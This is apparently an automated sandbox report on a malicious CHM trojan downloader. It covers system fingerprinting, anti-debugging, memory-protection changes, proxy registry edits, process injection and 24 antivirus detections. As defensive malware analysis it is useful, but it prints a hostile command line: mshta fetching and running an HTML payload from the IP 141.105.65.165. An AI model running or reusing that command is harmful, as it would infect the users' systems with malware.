d892f170764e99dae34d7dded5da591b8e2a05791a5f85fc360ee2a524601faf.chm

Queries for the computername (2 events)

Time & API	Arguments	Status	Return	Repeated
GetComputerNameA June 22, 2023, 9:41 a.m.	computer_name: TEST22-PC	1	1	0
GetComputerNameW June 22, 2023, 9:41 a.m.	computer_name: TEST22-PC	1	1	0

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx June 22, 2023, 9:41 a.m.		1	1	0

One or more processes crashed (1 event)

Time & API	Arguments	Status	Return	Repeated
__exception__ June 22, 2023, 9:41 a.m.	stacktrace: 0x1ed2504 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 exception.instruction_r: 83 3d 8d d1 02 00 00 ff 25 00 00 00 00 53 12 03 exception.instruction: cmp dword ptr [rip + 0x2d18d], 0 exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x1ed2504 registers.r14: 0 registers.r15: 327710 registers.rcx: 48 registers.rsi: 2154373139 registers.r10: 0 registers.rbx: 0 registers.rsp: 171111352 registers.r11: 171112352 registers.r8: 2000388492 registers.r9: 0 registers.rdx: 8796092666448 registers.r12: 4294967295 registers.rbp: 171111472 registers.rdi: 0 registers.rax: 32318720 registers.r13: 8791664222912	1	0	0

Allocates read-write-execute memory (usually to unpack itself) (3 events)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory June 22, 2023, 9:41 a.m.	process_identifier: 2192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefa1b7000 process_handle: 0xffffffffffffffff	1	0	0
NtProtectVirtualMemory June 22, 2023, 9:41 a.m.	process_identifier: 2192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef69c9000 process_handle: 0xffffffffffffffff	1	0	0
NtProtectVirtualMemory June 22, 2023, 9:41 a.m.	process_identifier: 2376 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefa1b7000 process_handle: 0xffffffffffffffff	1	0	0

Creates a suspicious process (2 events)

cmdline	mshta.exe http://141.105.65.165/data/3.html ,
cmdline	"C:\Windows\System32\mshta.exe" http://141.105.65.165/data/3.html ,

Changes read-write memory protection to read-execute (probably to avoid detection when setting all RWX flags at the same time) (1 event)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory June 22, 2023, 9:41 a.m.	process_identifier: 2192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 32 (PAGE_EXECUTE_READ) base_address: 0x000007fffff90000 process_handle: 0xffffffffffffffff	1	0	0

Yara rule detected in process memory (8 events)

description	(no description)				rule	DebuggerCheck__GlobalFlags
description	(no description)				rule	DebuggerCheck__QueryInfo
description	(no description)				rule	DebuggerHiding__Thread
description	(no description)				rule	DebuggerHiding__Active
description	(no description)				rule	ThreadControl__Context
description	(no description)				rule	SEH__vectored
description	Checks if being debugged				rule	anti_dbg
description	Bypass DEP				rule	disable_dep

Communicates with host for which no DNS query was performed (1 event)

host	141.105.65.165

Disables proxy possibly for traffic interception (1 event)

Time & API	Arguments	Status	Return	Repeated
RegSetValueExA June 22, 2023, 9:41 a.m.	key_handle: 0x00000000000002bc regkey_r: ProxyEnable reg_type: 4 (REG_DWORD) value: 0 regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable	1	0	0

Modifies proxy override settings possibly for traffic interception (1 event)

Time & API	Arguments	Status	Return	Repeated
RegSetValueExA June 22, 2023, 9:41 a.m.	key_handle: 0x00000000000002bc regkey_r: ProxyOverride reg_type: 1 (REG_SZ) value: 127.0.0.1:16107; regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyOverride	1	0	0

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Process injection	Process 3032 resumed a thread in remote process 2192
Time & API	Arguments	Status	Return	Repeated
NtResumeThread June 22, 2023, 9:41 a.m.	thread_handle: 0x000002c8 suspend_count: 1 process_identifier: 2192	1	0	0

File has been identified by 24 AntiVirus engines on VirusTotal as malicious (24 events)

Lionic	Trojan.HTML.Generic.4!c
CAT-QuickHeal	CHM.ScarCruft.Trojan.47762
McAfee	Generic .mj
Sangfor	Trojan.Generic-Script.Save.f8c288c6
Symantec	Downloader
ESET-NOD32	HTML/TrojanDownloader.Agent.NLW
TrendMicro-HouseCall	Trojan.HTML.DLOADER.MT
Avast	Other:Malware-gen [Trj]
Kaspersky	UDS:DangerousObject.Multi.Generic
Tencent	Win32.Trojan-Downloader.Ader.Yimw
Sophos	Troj/HTMLDl-XN
DrWeb	JS.DownLoader.6195
TrendMicro	Trojan.HTML.DLOADER.MT
McAfee-GW-Edition	Generic trojan.mj
Antiy-AVL	Trojan/HTML.Agent
ViRobot	CHM.S.Downloader.394691
ZoneAlarm	HEUR:Trojan-Downloader.Script.Agent.gen
GData	HTML.Trojan-Downloader.HTARun.A
Google	Detected
AhnLab-V3	Trojan/CHM.Agent
ALYac	Trojan.Downloader.CHM
Rising	Trojan.MouseJack/HTML!1.BE26 (CLASSIC)
Fortinet	HTML/Agent.FY!tr
AVG	Other:Malware-gen [Trj]

Connects to an IP address that is no longer responding to requests (legitimate services will remain up-and-running usually) (1 event)

dead_host

141.105.65.165:80